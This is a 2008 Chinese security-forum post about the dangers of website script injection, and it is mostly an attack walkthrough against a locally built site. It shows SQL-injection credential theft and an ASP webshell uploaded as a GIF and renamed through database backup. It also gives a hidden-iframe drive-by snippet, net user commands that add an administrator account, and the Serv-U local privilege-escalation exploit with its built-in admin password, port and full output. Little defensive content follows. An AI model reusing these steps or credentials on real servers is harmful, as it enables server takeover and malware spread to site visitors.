Board logo

标题: 网站脚本注入漏洞带来的危害及防御 [打印本页]

作者: wmmy    时间: 2008-9-18 10:55     标题: 网站脚本注入漏洞带来的危害及防御

来源:安全中国
我们先来看一下什么叫webshell。webshell是由一个由相应脚本语言编写的具有在线编辑、删除、新增文件、执行程序及sql语句等功能的脚本文件,如老兵助手asp木马,海阳顶端asp木马就是这样的文件。黑客通常通过站点的sql注入漏洞进入管理员的后台,再通过后台上传过滤不严漏洞进行直接上传asp木马,或通过改扩展名或抓包欺骗等手段进行asp木马上传,或通过改变asp木马扩展名为图片扩展名后再进行,上传后通过数据库备分获得asp木马。那么上传后的木马会对我们的服务器或网站的文件造成什么样的影响呢?我们来看下图就知道了


上面是海洋顶端asp木马,下面是老兵助手asp木马:
Asp木马可以执行文件的打开、编辑、复制、上传、下载等文件常用的操作命令,甚至可以执行net user 、netstat –an、dir 等guest用户命令,有数据库的连接操作,这些都危害到了我们服务器或网站的安全。可以说完全可以当作自己的机器来操作,当然不要说网站权限的编辑了,通过各种提权的方式可以达到拿下整台服务器的权限。


   


那么黑客们主要利用我们的网站或服务器来干什么呢?现阶段网络上最流行的就是拿下虚拟主机的权限在服务器上的网站里进行挂马,网站挂马主要是把网页木马挂在网站上,现在比较精典的挂马代码是:<iframe src=“网马地址”。name="zhu" width="0" height="0" frameborder="0">,这段代码比较短,通常他们将这段代码加在被入侵服务器的主页里,当用户打开被挂马的网站时就会悄悄地打开另一个代码中的“网马地址”并执行“网马地址”中的一个exe文件,从而使用户的机器感染木马,被挂马者所控制,那么挂马者控制我们的机器来干什么呢?这将在后面的“个人pc机安全”中进行介绍。
从挂马代码我们可以看出,其实就是转而执行了一个隐藏的框架,但带来的危害却是不可预料的。那么我们要怎么来预防这一切呢?
首先是对服务器进行安全设置:现在asp站点一般都是基于iis环境搭建的,很多站点都是放在一个虚拟机上的,服务器的安全设置就得靠空间商的责任心和安全意识了,现在我在本机搭建一个windows2003+iis+mssql+serv-u的环境。服务器的设置主要防范非法用户的asp木马权限和通过asp木马进行提权的防范,当然,网站的注入点就得靠网站管理人员进行防范了。我在网上下载了一个整站程序:xxx商务网站,并在本地搭建测试完毕,下面来演示一下整个注入漏洞带来的危害以及我们对服务器的安全设置和对整站程序进行防注入的操作:
搭建情况如下图:

然后我们对站点进行sql注入漏洞检测。用工具扫描一下看,结果如下图:

在search.asp文件存在注入点(红字部分为注入点链接),我们去看一下syjh目录下search.asp文件的源代码,在sql查询语句处,如下:
if typeid<>"" then
          sql="select * from info where showname like ’%"&request("txtitle")&"%’ and flag=1 and type like ’%"&request("type")&"%’ and sortid="+cstr(sortid)+" and typeid="&request("typeid")&" order by dateandtime desc"
        else
          sql="select * from info where showname like ’%"&request("txtitle")&"%’ and flag=1 and type like ’%"&request("type")&"%’ and sortid="+cstr(sortid)+" order by dateandtime desc"
        end if

多处id变量未过虑的情况下直接使用,从而导至sql注入漏洞。
下面进一步用专门的测试软件检测注入清况,如:

    结果很糟糕,破解出的密码还未使用md5进行加密,直接得到管理员用户名admin和密码rose,并且这套系统在网上很多商务网站都有下载。接下来我们看进一步的操作,使用管理员和用户名进行登录:


进入后台后,可以看到“备份网站数据库”这一项,我们可以在后台的“广告服务管理”处上传一个广告,当然是把asp木马扩展名改为gif然后再上传。上传后查看地址为:http://localhost/yqlj/picture/2006416180836.gif,然后通过数据库备分,将2006416180836.gif文件备分为up.asp文件,就导出了asp木马,地址为:http://localhost/admin/System/dbback/up.asp其实这套系统数据库是.asp格式的,还可以采用写入一句话马的形式上传一个asp木马。
打开http://localhost/admin/System/dbback/up.asp输入密码,查看“服务器组件探针”信息:
·  MSWC.AdRotator (广告轮换组件) ┆ √
·  MSWC.BrowserType (浏览器信息组件) ┆ √ Version: 0.0; About: unknown
·  MSWC.NextLink (内容链接库组件) ┆ √ About: "MSWC 内容链接对象库(Release),内部版本号 Mar 24 2005 日期 15:07:09"
·  MSWC.Tools ┆ ×
·  MSWC.Status ┆ ×
·  MSWC.Counters (计数器组件) ┆ ×
·  IISSample.ContentRotator (内容轮显组件) ┆ ×
·  IISSample.PageCounter ┆ ×
·  MSWC.PermissionChecker (权限检测组件) ┆ ×
·  Adodb.Connection (ADO 数据对象组件) ┆ √ Version: 2.8;
·  SoftArtisans.FileUp (SA-FileUp 文件上传组件) ┆ ×
·  SoftArtisans.FileManager (SoftArtisans 文件管理组件) ┆ ×
·  LyfUpload.UploadFile (刘云峰的文件上传组件组件) ┆ ×
·  Persits.Upload.1 (ASPUpload 文件上传组件) ┆ ×
·  W3.Upload (Dimac 文件上传组件) ┆ ×
·  JMail.SmtpMail (Dimac JMail 邮件收发组件) ┆ ×
·  CDONTS.NewMail (虚拟 SMTP 发信组件) ┆ ×
·  Persits.MailSender (ASPemail 发信组件) ┆ ×
·  SMTPsvg.Mailer (ASPmail 发信组件) ┆ ×
·  DkQmail.Qmail (dkQmail 发信组件) ┆ ×
·  Geocel.Mailer (Geocel 发信组件) ┆ ×
·  IISmail.Iismail.1 (IISmail 发信组件) ┆ ×
·  SmtpMail.SmtpMail.1 (SmtpMail 发信组件) ┆ ×
·  SoftArtisans.ImageGen (SA 的图像读写组件) ┆ ×
·  W3Image.Image (Dimac 的图像读写组件组件) ┆ ×
·  Scripting.FileSystemObject (FSO组件) ┆ √
·  Adodb.Stream (Stream 流组件) ┆ √
·  Shell.Application ┆ √
·  WScript.Shell ┆ √
·  Wscript.Network ┆ √

上面的组件中,有两个是很重要的,就是“Shell.Application”和“WScript.Shell”,这两个组件可以支持运行一些cmd命令。
这是我们按照默认情况下搭建的网站,也就是没有做一些安全措施,平常空间商所采用的搭建方式,在这种情况下,我们上传的asp木马可以访问每个磁盘上的内客,并且可以进行修改,在windows2003环境下不可以直接用wscript.shell组件执行命令cmd命令,因为我们的身分是iis  guest权限,但上传一个cmd.exe到目录下,再执行cmd命令如下:

将cmd.exe传到d盘下的,所以路径我们调用的d:\cmd.exe,通过这种上传一个cmd.exe的方法突破对服务器上cmd.exe的限制。当然我们不通执行“net user  用户名  密码 /add”种执行“net localgroup administrators 用户名 /add”来增加一个用户名并添为管理员。当然得在asp木马中提升权限,因为现在只是guest 权限,我们引用网上最常见的serv-u本地溢出提升权限,当然方法还有很多。
上传一个su.exe-----serv-u ftp本地溢出工具,serv-u是目前服务器用得最多的ftp工具,但serv-u在目前版本中仍存在这个漏洞,应该不算是漏洞,它默认了一个内置管理员帐户,用户名为:localadministrator密码为:#l@$ak#.lk;0@P 本地端口默认为:43958,我们知道ftp有一个执行权限时可以采用 quote exec site “命令”,来执行系统命令,如增加管理员帐户等。一般的人都未修改这个本地用户,所以导至了黑客们的可乘之机。这里我们执行d:\su.exe  43958  “net user  mghk  rose  /add”和 d:\su.exe  43958 “net localgroup administrators  mghk /add”便增加了一个管理员帐户,执行时的信息如下:
Serv-u >3.x Local Exploit by xiaolu
<220 Serv-U FTP Server v5.2 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=2
<220 Domain settings saved
******************************************************
[+] Domain xl:2 created
[+] Creating Evil User
<200-User=xl
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER xl
<331 User name okay, need password.
******************************************************
>PASS 111111
<230 User logged in, proceed.
******************************************************
[+] Now Executing: net localgroup administrators mghk /add
<220 Domain deleted
这样就添加了一个系统管理员帐号,如果再传个开3389的工具上去打开3389,我们就可以用远程桌面连接进去,像操作自己的机器一样操作。
作者: 柔肠寸断    时间: 2008-9-18 12:35

会员资料,不错........




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2